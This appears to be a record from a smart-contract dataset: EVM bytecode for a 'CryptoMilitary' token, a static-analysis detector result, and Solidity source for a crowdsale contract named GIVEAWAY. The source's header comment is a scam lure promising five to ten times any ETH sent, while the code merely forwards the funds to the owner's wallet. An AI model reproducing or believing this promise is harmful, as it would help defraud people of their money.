ffffff16815260200191505060405180910390f35b341561050a57600080fd5b610520600480803590602001909190505061128c565b604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390f35b341561057b57600080fd5b61059160048080359060200190919050506112b9565b005b341561059e57600080fd5b61060d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061166e565b005b341561061a57600080fd5b610658600480803590602001909190803590602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506117e5565b005b341561066557600080fd5b610684600480803590602001909190803590602001909190505061198c565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106c75780820151818401526020810190506106ac565b505050509050019250505060405180910390f35b34156106e657600080fd5b610712600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611a1d565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561075557808201518184015260208101905061073a565b505050509050019250505060405180910390f35b341561077457600080fd5b61078a6004808035906020019091905050611b1b565b6040518082815260200191505060405180910390f35b34156107ab57600080fd5b6107c16004808035906020019091905050611b35565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561080e57600080fd5b6108246004808035906020019091905050611b72565b6040518082815260200191505060405180910390f35b341561084557600080fd5b610871600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611c83565b005b341561087e57600080fd5b6108aa600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611d38565b6040518082815260200191505060405180910390f35b34156108cb57600080fd5b6108d3611dc8565b005b34156108e057600080fd5b6108e8611e40565b005b34156108f557600080fd5b610942600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050611f15565b005b341561094f57600080fd5b6109576120b2565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561099757808201518184015260208101905061097c565b50505050905090810190601f1680156109c45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156109dd57600080fd5b6109e56120f5565b6040518082815260200191505060405180910390f35b3415610a0657600080fd5b610a3b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050612114565b005b3415610a4857600080fd5b610a5e6004808035906020019091905050612180565b6040518082815260200191505060405180910390f35b3415610a7f57600080fd5b610a95600480803590602001909190505061219d565b6040518082815260200191505060405180910390f35b3415610ab657600080fd5b610aff6004808035906020019082018035906020019190919290803590602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506121ba565b005b3415610b0c57600080fd5b610b38600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612257565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610b78578082015181840152602081019050610b5d565b50505050905090810190601f168015610ba55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610bc9600480803590602001909190505061233e565b005b3415610bd657600080fd5b610bec60048080359060200190919050506125f1565b6040518082815260200191505060405180910390f35b600080610c0e8361219d565b119050919050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610c7157600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610cd257600080fd5b50565b610cdd612960565b6040805190810160405280600e81526020017f43727970746f4d696c6974617279000000000000000000000000000000000000815250905090565b600260149054906101000a900460ff161515610d3357600080fd5b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515610d6e57600080fd5b610d7781610c02565b1515610d8257600080fd5b3373ffffffffffffffffffffffffffffffffffffffff16610da282611b35565b73ffffffffffffffffffffffffffffffffffffffff16141515610dc457600080fd5b60008273ffffffffffffffffffffffffffffffffffffffff161415610ec2576000600b600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610ebd57600b600082815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905560003373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b610f7a565b81600b600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b5050565b6000600260149054906101000a900460ff16905090565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610ff057600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561108e57600080fd5b600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff021916905550565b6000600780549050905090565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561114857600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600260149054906101000a900460ff1615156111a757600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166111c78261124f565b73ffffffffffffffffffffffffffffffffffffffff161415156111e957600080fd5b6111f4838383612702565b505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600b600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b600080600061129a84611b35565b6112a38561219d565b6112ac86611b1b565b9250925092509193909250565b6000803373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561131757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561137557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e856040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b151561141d57600080fd5b5af1151561142a57600080fd5b5050506040518051905073ffffffffffffffffffffffffffffffffffffffff161415151561145757600080fd5b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b9186d7d856040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b15156114e957600080fd5b5af115156114f657600080fd5b5050506040518051905011151561150c57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b9186d7d846040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b151561159c57600080fd5b5af115156115a957600080fd5b505050604051805190509150600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e846040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b151561164557600080fd5b5af1151561165257600080fd5b5050506040518051905090506116698383836117e5565b505050565b806040518082805190602001908083835b6020831015156116a4578051825260208201915060208101905060208303925061167f565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060001916600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020604051808280546001816001161561010002031660029004801561176f5780601f1061174d57610100808354040283529182019161176f565b820191906000526020600020905b81548152906001019060200180831161175b575b50509150506040518091039020600019161415151561178d57600080fd5b80600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090805190602001906117e0929190612974565b505050565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561183d57600080fd5b60008211151561184c57600080fd5b6000600a60008581526020019081526020016000205414151561186e57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff166008600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156118dc57600080fd5b806008600085815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600a6000858152602001908152602001600020819055508160096000858152602001908152602001600020819055506007805480600101828161197291906129f4565b916000526020600020900160008590919091505550505050565b611994612a20565b61199c612a20565b6000836040518059106119ac5750595b90808252806020026020018201604052509150600090505b83811015611a125760078186018154811015156119dd57fe5b90600052602060002090015482828151811015156119f757fe5b906020019060200201818152505080806001019150506119c4565b819250505092915050565b611a25612a20565b611a2d612a20565b600080611a3985611d38565b604051805910611a465750595b9080825280602002602001820160405250925060009150600090505b600780549050811015611b10578473ffffffffffffffffffffffffffffffffffffffff16611aa9600783815481101515611a9857fe5b906000526020600020900154611b35565b73ffffffffffffffffffffffffffffffffffffffff161415611b0357600781815481101515611ad457fe5b9060005260206000209001548383815181101515611aee57fe5b90602001906020020181815250506001820191505b8080600101915050611a62565b829350505050919050565b6000611b2e611b298361219d565b6125f1565b9050919050565b60006008600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000600354821015611bac57611ba56064611b976008856128de90919063ffffffff16565b61291990919063ffffffff16565b9050611c7e565b600454821015611be457611bdd6064611bcf6007856128de90919063ffffffff16565b61291990919063ffffffff16565b9050611c7e565b600554821015611c1c57611c156064611c076006856128de90919063ffffffff16565b61291990919063ffffffff16565b9050611c7e565b600654821015611c5457611c4d6064611c3f6005856128de90919063ffffffff16565b61291990919063ffffffff16565b9050611c7e565b611c7b6064611c6d6005856128de90919063ffffffff16565b61291990919063ffffffff16565b90505b919050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611cde57600080fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000806000809150600090505b600780549050811015611dbe578373ffffffffffffffffffffffffffffffffffffffff16611d8c600783815481101515611d7b57fe5b906000526020600020900154611b35565b73ffffffffffffffffffffffffffffffffffffffff161415611db15781806001019250505b8080600101915050611d45565b8192505050919050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611e2357600080fd5b6001600260146101000a81548160ff021916908315150217905550565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611e9b57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515611f1357600080fd5b565b60003373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611f7257600080fd5b600090505b81518110156120ae576000600a60008484815181101515611f9457fe5b90602001906020020151815260200190815260200160002054118061207657506000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b9186d7d848481518110151561200257fe5b906020019060200201516040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b151561205d57600080fd5b5af1151561206a57600080fd5b50505060405180519050145b15612080576120a1565b6120a0828281518110151561209157fe5b906020019060200201516112b9565b5b8080600101915050611f77565b5050565b6120ba612960565b6040805190810160405280600381526020017f434d540000000000000000000000000000000000000000000000000000000000815250905090565b60003073ffffffffffffffffffffffffffffffffffffffff1631905090565b600260149054906101000a900460ff16151561212f57600080fd5b61213881611b35565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561217157600080fd5b61217c338383612702565b5050565b600060096000838152602001908152602001600020549050919050565b6000600a6000838152602001908152602001600020549050919050565b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561221457600080fd5b600090505b8484905081101561225057612243858583818110151561223557fe5b9050602002013584846117e5565b8080600101915050612219565b5050505050565b61225f612960565b600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156123325780601f1061230757610100808354040283529160200191612332565b820191906000526020600020905b81548152906001019060200180831161231557829003601f168201915b50505050509050919050565b6000806000806000806123508761219d565b11151561235c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff1661237d87611b35565b73ffffffffffffffffffffffffffffffffffffffff16141515156123a057600080fd5b6123a98661219d565b34101515156123b757600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166123d787611b35565b73ffffffffffffffffffffffffffffffffffffffff16141515156123fa57600080fd5b61240333612934565b15151561240f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415151561244b57600080fd5b61245486611b35565b94503393506124628661219d565b9250612477833461294790919063ffffffff16565b9150612484858588612702565b61248d86611b1b565b600a6000888152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff16867fd2728f908c7e0feb83c6278798370fcb86b62f236c9dbf1a3f541096c2159040856040518082815260200191505060405180910390a38473ffffffffffffffffffffffffffffffffffffffff16867f66f5cd880edf48cdde6c966e5da0784fcc4c5e85572b8b3b62c4357798d447d7856040518082815260200191505060405180910390a361254b83611b72565b90508473ffffffffffffffffffffffffffffffffffffffff166108fc61257a838661294790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050151561259f57600080fd5b60008211156125e9578373ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f1935050505015156125e857600080fd5b5b505050505050565b600060035482101561262b57612624606261261660c8856128de90919063ffffffff16565b61291990919063ffffffff16565b90506126fd565b6004548210156126635761265c606161264e6087856128de90919063ffffffff16565b61291990919063ffffffff16565b90506126fd565b60055482101561269b576126946060612686607d856128de90919063ffffffff16565b61291990919063ffffffff16565b90506126fd565b6006548210156126d3576126cc605f6126be6075856128de90919063ffffffff16565b61291990919063ffffffff16565b90506126fd565b6126fa605f6126ec6073856128de90919063ffffffff16565b61291990919063ffffffff16565b90505b919050565b61270b81610c02565b151561271657600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1661273682611b35565b73ffffffffffffffffffffffffffffffffffffffff1614151561275857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561279457600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156127cf57600080fd5b816008600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600b600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008060008414156128f35760009150612912565b828402905082848281151561290457fe5b0414151561290e57fe5b8091505b5092915050565b600080828481151561292757fe5b0490508091505092915050565b600080823b905060008111915050919050565b600082821115151561295557fe5b818303905092915050565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106129b557805160ff19168380011785556129e3565b828001600101855582156129e3579182015b828111156129e25782518255916020019190600101906129c7565b5b5090506129f09190612a34565b5090565b815481835581811511612a1b57818360005260206000209182019101612a1a9190612a34565b5b505050565b602060405190810160405280600081525090565b612a5691905b80821115612a52576000816000905550600101612a3a565b5090565b905600a165627a7a723058207e553e61f801ec3e162f90e06fe71a0b34b6fd5c1007b7103a33f21b0477c0aa0029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}]}}
1,363
0x2d80bb93db3c01996f80e470bf7b1e9658a4229e
/* FINPLETHER GIVEAWAY $500 000 000 USD TO JOIN THE GIVEAWAY To Participate You just need to send between 0.05 ETH to 1000 ETH YOU INSTANTLY GET USD BACK TO YOUR WALLET between 0.5 ETH TO 5000 ETH For example, if you send: 0.05 ETH YOU WILL GET BACK 0.5 ETH 0.50 ETH YOU WILL GET BACK 5 ETH 1 ETH YOU WILL GET BACK 5 ETH 10 ETH YOU WILL GET BACK 50 ETH 100 ETH YOU WILL GET BACK 500 ETH 1000 ETH YOU WILL GET BACK 5000 ETH */ pragma solidity ^0.5.0; interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } library SafeERC20 { using SafeMath for uint256; function safeTransfer(IERC20 token, address to, uint256 value) internal { require(token.transfer(to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { require(token.transferFrom(from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(msg.sender, spender) == 0)); require(token.approve(spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); require(token.approve(spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value); require(token.approve(spender, newAllowance)); } } contract ReentrancyGuard { uint256 private _guardCounter; constructor () internal { _guardCounter = 1; } modifier nonReentrant() { _guardCounter += 1; uint256 localCounter = _guardCounter; _; require(localCounter == _guardCounter); } } contract Crowdsale is ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 private _token; address payable private _wallet; uint256 private _rate; uint256 private _weiRaised; event TokensPurchased(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); constructor (uint256 rate, address payable wallet, IERC20 token) public { require(rate > 0); require(wallet != address(0)); require(address(token) != address(0)); _rate = rate; _wallet = wallet; _token = token; } function () external payable { buyTokens(msg.sender); } function token() public view returns (IERC20) { return _token; } function wallet() public view returns (address payable) { return _wallet; } function rate() public view returns (uint256) { return _rate; } function weiRaised() public view returns (uint256) { return _weiRaised; } function buyTokens(address beneficiary) public nonReentrant payable { uint256 weiAmount = msg.value; _preValidatePurchase(beneficiary, weiAmount); uint256 tokens = _getTokenAmount(weiAmount); _weiRaised = _weiRaised.add(weiAmount); _processPurchase(beneficiary, tokens); emit TokensPurchased(msg.sender, beneficiary, weiAmount, tokens); _updatePurchasingState(beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(beneficiary, weiAmount); } function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view { require(beneficiary != address(0)); require(weiAmount != 0); } function _postValidatePurchase(address beneficiary, uint256 weiAmount) internal view { } function _deliverTokens(address beneficiary, uint256 tokenAmount) internal { _token.safeTransfer(beneficiary, tokenAmount); } function _processPurchase(address beneficiary, uint256 tokenAmount) internal { _deliverTokens(beneficiary, tokenAmount); } function _updatePurchasingState(address beneficiary, uint256 weiAmount) internal { // solhint-disable-previous-line no-empty-blocks } function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) { uint256 tokenAmount = weiAmount.mul(_rate); if (weiAmount >= 1 ether && weiAmount < 5 ether) tokenAmount = tokenAmount.mul(125).div(100); else if (weiAmount >= 5 ether && weiAmount < 10 ether) tokenAmount = tokenAmount.mul(135).div(100); else if (weiAmount >= 10 ether && weiAmount < 30 ether) tokenAmount = tokenAmount.mul(140).div(100); else if (weiAmount >= 30 ether && weiAmount < 150 ether) tokenAmount = tokenAmount.mul(150).div(100); else if (weiAmount >= 150 ether && weiAmount < 1000 ether) tokenAmount = tokenAmount.mul(60).div(100); if (block.timestamp >= 1602450846 && block.timestamp < 1603182600) tokenAmount = tokenAmount.mul(185).div(100); else if (block.timestamp >= 1603182600 && block.timestamp < 1604565000) tokenAmount = tokenAmount.mul(175).div(100); else if (block.timestamp >= 1604565000 && block.timestamp < 1605861000) tokenAmount = tokenAmount.mul(165).div(100); else if (block.timestamp >= 1605861000 && block.timestamp < 1606725000) tokenAmount = tokenAmount.mul(150).div(100); else if (block.timestamp >= 1606725000 && block.timestamp < 1607157000) tokenAmount = tokenAmount.mul(140).div(100); else if (block.timestamp >= 1607157000 && block.timestamp < 1607589000) tokenAmount = tokenAmount.mul(130).div(100); else if (block.timestamp >= 1607589000 && block.timestamp < 1608021000) tokenAmount = tokenAmount.mul(120).div(100); else if (block.timestamp >= 1608021000 && block.timestamp < 1608366600) tokenAmount = tokenAmount.mul(110).div(100); return tokenAmount; } function _forwardFunds() internal { _wallet.transfer(msg.value); } } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } function _burnFrom(address account, uint256 value) internal { _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value); _burn(account, value); emit Approval(account, msg.sender, _allowed[account][msg.sender]); } } library Roles { struct Role { mapping (address => bool) bearer; } function add(Role storage role, address account) internal { require(account != address(0)); require(!has(role, account)); role.bearer[account] = true; } function remove(Role storage role, address account) internal { require(account != address(0)); require(has(role, account)); role.bearer[account] = false; } function has(Role storage role, address account) internal view returns (bool) { require(account != address(0)); return role.bearer[account]; } } contract MinterRole { using Roles for Roles.Role; event MinterAdded(address indexed account); event MinterRemoved(address indexed account); Roles.Role private _minters; constructor () internal { _addMinter(msg.sender); } modifier onlyMinter() { require(isMinter(msg.sender)); _; } function isMinter(address account) public view returns (bool) { return _minters.has(account); } function addMinter(address account) public onlyMinter { _addMinter(account); } function renounceMinter() public { _removeMinter(msg.sender); } function _addMinter(address account) internal { _minters.add(account); emit MinterAdded(account); } function _removeMinter(address account) internal { _minters.remove(account); emit MinterRemoved(account); } } contract ERC20Mintable is ERC20, MinterRole { function mint(address to, uint256 value) public onlyMinter returns (bool) { _mint(to, value); return true; } } contract MintedCrowdsale is Crowdsale { function _deliverTokens(address beneficiary, uint256 tokenAmount) internal { require(ERC20Mintable(address(token())).mint(beneficiary, tokenAmount)); } } contract CappedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 private _cap; constructor (uint256 cap) public { require(cap > 0); _cap = cap; } function cap() public view returns (uint256) { return _cap; } function capReached() public view returns (bool) { return weiRaised() >= _cap; } function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view { super._preValidatePurchase(beneficiary, weiAmount); require(weiRaised().add(weiAmount) <= _cap); } } contract TimedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 private _openingTime; uint256 private _closingTime; modifier onlyWhileOpen { require(isOpen()); _; } constructor (uint256 openingTime, uint256 closingTime) public { require(closingTime > openingTime); _openingTime = openingTime; _closingTime = closingTime; } function openingTime() public view returns (uint256) { return _openingTime; } function closingTime() public view returns (uint256) { return _closingTime; } function isOpen() public view returns (bool) { return block.timestamp >= _openingTime && block.timestamp <= _closingTime; } function hasClosed() public view returns (bool) { return block.timestamp > _closingTime; } function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal onlyWhileOpen view { super._preValidatePurchase(beneficiary, weiAmount); } } contract GIVEAWAY is CappedCrowdsale, TimedCrowdsale, MintedCrowdsale { constructor( uint256 _openingTime, uint256 _closingTime, uint256 _rate, address payable _wallet, uint256 _cap, ERC20Mintable _token ) public Crowdsale(_rate, _wallet, _token) CappedCrowdsale(_cap) TimedCrowdsale(_openingTime, _closingTime) { } }
0x6080604052600436106100ae5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631515bc2b81146100b95780632c4e722e146100e2578063355274ea146101095780634042b66f1461011e57806347535d7b146101335780634b6753bc146101485780634f9359451461015d578063521eb27314610172578063b7a8807c146101a3578063ec8ac4d8146101b8578063fc0c546a146101de575b6100b7336101f3565b005b3480156100c557600080fd5b506100ce6102af565b604080519115158252519081900360200190f35b3480156100ee57600080fd5b506100f76102b7565b60408051918252519081900360200190f35b34801561011557600080fd5b506100f76102bd565b34801561012a57600080fd5b506100f76102c3565b34801561013f57600080fd5b506100ce6102c9565b34801561015457600080fd5b506100f76102e4565b34801561016957600080fd5b506100ce6102ea565b34801561017e57600080fd5b506101876102fe565b60408051600160a060020a039092168252519081900360200190f35b3480156101af57600080fd5b506100f761030d565b6100b7600480360360208110156101ce57600080fd5b5035600160a060020a03166101f3565b3480156101ea57600080fd5b50610187610313565b6000805460010190819055346102098382610322565b60006102148261033f565b60045490915061022a908363ffffffff61063616565b6004556102378482610648565b60408051838152602081018390528151600160a060020a0387169233927f6faf93231a456e552dbc9961f58d9713ee4f2e69d15f1975b050ef0911053a7b929081900390910190a361028984836102ab565b610291610652565b61029b84836102ab565b505060005481146102ab57600080fd5b5050565b600754421190565b60035490565b60055490565b60045490565b600060065442101580156102df57506007544211155b905090565b60075490565b60006005546102f76102c3565b1015905090565b600254600160a060020a031690565b60065490565b600154600160a060020a031690565b61032a6102c9565b151561033557600080fd5b6102ab828261068e565b600080610357600354846106be90919063ffffffff16565b9050670de0b6b3a764000083101580156103785750674563918244f4000083105b156103a65761039f606461039383607d63ffffffff6106be16565b9063ffffffff6106e916565b9050610496565b674563918244f4000083101580156103c55750678ac7230489e8000083105b156103e05761039f606461039383608763ffffffff6106be16565b678ac7230489e80000831015801561040057506801a055690d9db8000083105b1561041b5761039f606461039383608c63ffffffff6106be16565b6801a055690d9db80000831015801561043c5750680821ab0d441498000083105b156104575761039f606461039383609663ffffffff6106be16565b680821ab0d441498000083101580156104785750683635c9adc5dea0000083105b1561049657610493606461039383603c63ffffffff6106be16565b90505b635f83759e42101580156104ad5750635f8ea00842105b156104cf576104c860646103938360b963ffffffff6106be16565b9050610630565b635f8ea00842101580156104e65750635fa3b80842105b15610501576104c860646103938360af63ffffffff6106be16565b635fa3b80842101580156105185750635fb77e8842105b15610533576104c860646103938360a563ffffffff6106be16565b635fb77e88421015801561054a5750635fc4ad8842105b15610565576104c8606461039383609663ffffffff6106be16565b635fc4ad88421015801561057c5750635fcb450842105b15610597576104c8606461039383608c63ffffffff6106be16565b635fcb450842101580156105ae5750635fd1dc8842105b156105c9576104c8606461039383608263ffffffff6106be16565b635fd1dc8842101580156105e05750635fd8740842105b156105fb576104c8606461039383607863ffffffff6106be16565b635fd8740842101580156106125750635fddba0842105b156106305761062d606461039383606e63ffffffff6106b